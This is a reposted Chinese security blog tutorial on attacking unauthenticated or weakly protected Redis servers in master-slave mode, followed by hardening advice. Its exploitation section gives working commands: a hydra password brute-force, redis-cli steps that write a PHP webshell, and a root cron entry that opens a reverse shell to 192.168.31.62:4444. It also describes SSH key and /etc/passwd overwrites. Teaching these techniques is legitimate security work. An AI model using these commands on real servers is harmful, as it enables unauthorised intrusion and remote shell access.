Redis slave 模式下的漏洞利用

admin 2022年4月29日07:17:27评论38 views字数 2128阅读7分5秒阅读模式

山东新潮信息

专业|专注|卓越|安全


Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用
Redis slave 模式下的漏洞利用


声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


一、Redis 简介

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。Redis与其他key – value缓存产品有以下三个特点:

支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。

不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。

支持数据的备份,即master-slave模式的数据备份。

二、环境搭建

1、从官网下载Redis安装包,本次实验使用Redis 2.8.17版本进行测试,两台Centos 6虚拟机进行实验。

master node 192.168.31.41

slave node 192.168.31.207

wget http://download.redis.io/releases/redis-2.8.17.tar.gz


Redis slave 模式下的漏洞利用

2、解压编译安装

tar zxvf redis-2.8.17.tar.gz    #解压
cd redis-2.8.17
make MALLOC=libc #编译
make install #安装

mkdir -p /usr/local/redis/etc
mkdir -p /usr/local/redis/bin
cp redis.conf /usr/local/redis/etc/
cd src/
mv mkreleasehdr.sh redis-benchmark redis-check-aof redis-check-dump redis-cli redis-server /usr/local/redis/bin

3、修改slave节点上的配置文件

echo "slaveof 192.168.31.41 6379" >> /usr/local/redis/etc/redis.conf

4、启动Redis验证,在启动slave节点时会自动同步数据。

/usr/local/redis/bin/./redis-server /usr/local/redis/etc/redis.conf

Redis slave 模式下的漏洞利用

5、分别查看Redis服务info信息记日志,192.168.31.41为master node,192.168.31.207为slave node。

Redis slave 模式下的漏洞利用

三、漏洞利用

1、暴力枚举redis

hydra暴力枚举Redis密码

hydra -P /root/tools/pass/q_10.txt redis://193.168.31.41

Redis slave 模式下的漏洞利用

MSF暴力枚举Redis密码

Redis slave 模式下的漏洞利用

2、未授权或枚举出密码情况下利用

当Redis默认为slave时,从节点服务器断开后,从节点会晋升为主节点。

./redis-cli -h 192.168.31.207 -p 6379
INFO replication
SL**EOF no one

Redis slave 模式下的漏洞利用

通过Redis写webshell(需要知道网站绝对路径)。

config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php phpinfo(); ?>"
save

Redis slave 模式下的漏洞利用

查看服务器已写入webshell

Redis slave 模式下的漏洞利用

通过写计划任务反弹shell

config set dir /var/spool/cron
config set dbfilename root
set xxx "nn*/1 * * * * /bin/sh -i>&/dev/tcp/192.168.31.62/4444 0>&1nn"
save

Redis slave 模式下的漏洞利用

免密钥登录写入同上,这里使用redis漏洞利用工具进行写入

Redis slave 模式下的漏洞利用

ssh链接时无需密码登录

Redis slave 模式下的漏洞利用

写/etc/passwd 文件实现任意账号密码重置,此方法会把管理员覆盖容易被管理员发现。

四、Redis安全加固

1、禁用远程修改 DB 文件地址

修改redis.conf文件

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2、以低权限运行 Redis 服务

groupadd -r redis && useradd -r -g redis redis

3、为 Redis 添加密码验证

修改redis.conf文件

requirepass mypassword

4、禁止外网访问 Redis

修改redis.conf文件

bind 127.0.0.1

5、修改默认端口

修改redis.conf文件

Port 6379

6、设置防火墙策略 

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。




E




N




D






Redis slave 模式下的漏洞利用


guān




zhù







men





Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或长按二维码关注公众号:

Redis slave 模式下的漏洞利用





原文始发于微信公众号(白帽子):Redis slave 模式下的漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月29日07:17:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis slave 模式下的漏洞利用http://cn-sec.com/archives/960732.html

发表评论

匿名网友 填写信息